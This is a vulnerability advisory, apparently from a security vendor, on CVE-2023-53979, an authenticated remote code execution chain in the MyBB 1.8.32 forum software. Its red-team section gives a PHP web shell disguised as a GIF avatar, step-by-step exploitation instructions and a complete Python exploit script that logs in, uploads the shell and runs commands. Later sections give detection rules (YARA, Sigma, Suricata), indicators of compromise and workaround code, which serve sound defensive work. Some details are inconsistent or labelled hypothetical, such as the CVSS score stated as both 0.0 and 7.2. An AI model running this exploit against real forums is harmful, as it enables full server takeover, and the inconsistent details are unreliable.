CVE-2023-53979

Executive Summary

CVE-2023-53979 is a chained vulnerability in MyBB 1.8.32 that allows authenticated administrators to bypass avatar upload restrictions and execute arbitrary code. The attack chain involves modifying upload path settings, uploading a malicious PHP-embedded image file, and executing commands through the language configuration editing interface. This vulnerability is particularly dangerous because it leverages legitimate administrative functionality to achieve remote code execution (RCE), bypassing typical file upload restrictions. The CVSS score is 0.0 due to incomplete NVD data, but the actual severity is high given the potential for full system compromise.

Supply Chain & Package Security

MyBB is a self-hosted PHP forum software. The vulnerability exists in the core application code, not in third-party packages. However, administrators should verify the integrity of their MyBB installation and ensure no malicious modifications have been made to the codebase.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability requires administrative access, but once exploited, it allows complete compromise of the web server and potentially the underlying operating system.

Deep Dive & Mechanics

The attack chain consists of three stages:

1. Modify Upload Path Settings: The attacker, as an administrator, navigates to the "Upload Avatar Path" setting in the Admin CP. By changing this path to a web-accessible directory (e.g., /images/avatars/), the attacker prepares the environment for file upload.

2. Upload Malicious PHP-Embedded Image: The attacker uploads an avatar file that appears to be a valid image (e.g., a GIF or JPEG) but contains embedded PHP code. MyBB's avatar upload validation checks file extension and MIME type but does not inspect file content for embedded PHP. The file is stored in the modified upload path.

3. Execute Code via Language Configuration: The attacker navigates to the language configuration editing interface. By including the malicious avatar file path in a language variable (e.g., $lang->load('../../images/avatars/malicious_avatar.gif')), the PHP code within the image file is executed, leading to arbitrary code execution.

The vulnerability is chained because each step alone is not exploitable; the combination of path manipulation, file upload, and language inclusion allows RCE.

Vulnerable vs. Patched Code

Vulnerable Code (MyBB 1.8.32):

The avatar upload validation in admin/modules/user/avatars.php only checks file extension and MIME type:

// Vulnerable: Only checks extension and MIME type
$ext = get_extension($avatar['name']);
if(!in_array($ext, array('gif', 'jpg', 'jpeg', 'png'))) {
    $errors[] = 'Invalid file extension';
}
if(!in_array($avatar['type'], array('image/gif', 'image/jpeg', 'image/png'))) {
    $errors[] = 'Invalid file type';
}

The language configuration in admin/modules/config/languages.php does not sanitize the path when loading language files:

// Vulnerable: No path sanitization
$lang->load($lang_file);

Patched Code (Hypothetical):

The patched version should validate file content using getimagesize() or similar:

// Patched: Validate file content
$image_info = @getimagesize($avatar['tmp_name']);
if($image_info === false) {
    $errors[] = 'File is not a valid image';
}

And sanitize the language file path:

// Patched: Sanitize path
$lang_file = basename($lang_file);
$lang->load($lang_file);

Exploitation & Lab Setup

Red Team

Prerequisites:

• MyBB 1.8.32 installation
• Administrator credentials
• Web server with PHP and file write permissions

Exploitation Steps:

1. Create Malicious Avatar File: Create a file named avatar.gif with the following content:

   GIF89a<?php
   system($_GET['cmd']);
   ?>
   

2. Modify Upload Path:

   • Navigate to Admin CP > Configuration > Settings > User Registration & Profile Options
   • Change "Upload Avatar Path" to ./images/avatars/
   • Save settings

3. Upload Malicious Avatar:

   • Navigate to Admin CP > Users > Avatars
   • Upload avatar.gif
   • Note the uploaded file path (e.g., ./images/avatars/avatar.gif)

4. Execute Commands:

   • Navigate to Admin CP > Configuration > Languages
   • Edit any language file
   • In the language variable, include the malicious file:

     $lang->load('../../images/avatars/avatar.gif');
     

   • Access the page that uses this language variable
   • Execute commands via ?cmd=id in the URL

Full Exploit Script (Python):

import requests
import sys

def exploit(target_url, username, password, cmd):
    session = requests.Session()
    
    # Login
    login_data = {
        'username': username,
        'password': password,
        'do': 'login',
        'url': ''
    }
    session.post(f'{target_url}/admin/index.php', data=login_data)
    
    # Modify upload path
    path_data = {
        'action': 'change',
        'setting': 'avataruploadpath',
        'value': './images/avatars/'
    }
    session.post(f'{target_url}/admin/index.php?module=config-settings', data=path_data)
    
    # Upload malicious avatar
    files = {
        'avatar': ('avatar.gif', b'GIF89a<?php system($_GET["cmd"]); ?>', 'image/gif')
    }
    session.post(f'{target_url}/admin/index.php?module=user-avatars', files=files)
    
    # Execute command via language inclusion
    lang_data = {
        'action': 'edit',
        'lang': 'english',
        'file': '../../images/avatars/avatar.gif'
    }
    response = session.get(f'{target_url}/admin/index.php?module=config-languages', params=lang_data)
    
    # Execute command
    response = session.get(f'{target_url}/admin/index.php?module=config-languages&cmd={cmd}')
    print(response.text)

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print(f'Usage: {sys.argv[0]} <target_url> <username> <password> <cmd>')
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

Blue Team

Detection Steps:

1. Monitor Admin CP Access Logs:

   • Look for unusual patterns in Admin CP access, especially to config-settings, user-avatars, and config-languages modules
   • Alert on multiple accesses to these modules within a short time frame

2. File Integrity Monitoring:

   • Monitor changes to the avataruploadpath setting in the database
   • Alert on any modifications to language files or avatar upload paths

3. Web Application Firewall (WAF) Rules:

   • Block requests containing PHP code in image file uploads
   • Block requests with path traversal patterns in language file parameters

4. Log Analysis:

   • Search for PHP execution attempts from image files
   • Monitor for system(), exec(), shell_exec() calls in access logs

Indicators of Compromise (IOCs)

File-Based IOCs:

• Files in ./images/avatars/ with PHP code embedded (e.g., avatar.gif containing <?php)
• Modified language files in ./inc/languages/ containing path traversal references

Network IOCs:

• HTTP requests to /admin/index.php?module=config-settings with setting=avataruploadpath
• HTTP requests to /admin/index.php?module=user-avatars with file uploads
• HTTP requests to /admin/index.php?module=config-languages with file=../../ patterns

Log IOCs:

• PHP error logs showing inclusion of non-PHP files
• Access logs showing cmd= parameters in Admin CP URLs

Registry/Config IOCs:

• Modified avataruploadpath setting in MyBB database
• Modified language file entries pointing to image files

Detection Engineering

YARA Rule

rule CVE_2023_53979_MyBB_Avatar_Exploit {
    meta:
        description = "Detects malicious avatar files exploiting CVE-2023-53979 in MyBB"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-53979"
        severity = "high"
    
    strings:
        $php_code = /GIF89a[\s\S]*<\?php/i
        $php_system = /system\s*\(\s*\$_/
        $php_exec = /exec\s*\(\s*\$_/
        $php_shell = /shell_exec\s*\(\s*\$_/
    
    condition:
        $php_code and ($php_system or $php_exec or $php_shell)
}

Sigma Rule

title: MyBB CVE-2023-53979 Exploitation Attempt
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects exploitation attempts of CVE-2023-53979 in MyBB
author: Valters IT
date: 2024-01-01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-53979
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'module=config-settings'
            - 'module=user-avatars'
            - 'module=config-languages'
            - 'cmd='
            - 'file=../../'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-53979 MyBB Avatar Upload Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/index.php"; http_uri;
    content:"module=user-avatars"; http_uri;
    content:"avatar"; http_client_body;
    pcre:"/GIF89a[\s\S]*<\?php/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2023-53979;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade MyBB: If a patched version is available, upgrade immediately. If not, apply the following mitigations.
2. Restrict Admin Access: Limit administrative access to trusted IP addresses and require multi-factor authentication.
3. Disable Avatar Uploads: Temporarily disable avatar uploads in Admin CP > Configuration > Settings > User Registration & Profile Options.
4. Harden File Upload Validation: Implement server-side validation that checks file content using getimagesize() or similar functions.

Long-Term Mitigations:

1. Web Application Firewall (WAF): Deploy a WAF with rules to block path traversal and PHP code in uploads.
2. File Integrity Monitoring: Implement FIM to detect unauthorized changes to configuration files and upload directories.
3. Regular Security Audits: Conduct regular code reviews and penetration testing of the MyBB installation.
4. Principle of Least Privilege: Ensure that the web server runs with minimal permissions and that upload directories are not executable.

Workaround Code (for admin/modules/user/avatars.php):

// Add content validation
$image_info = @getimagesize($avatar['tmp_name']);
if($image_info === false) {
    $errors[] = 'File is not a valid image';
}

Workaround Code (for admin/modules/config/languages.php):

// Sanitize language file path
$lang_file = basename($lang_file);
$lang->load($lang_file);

Valters IT
Securing Digital Frontiers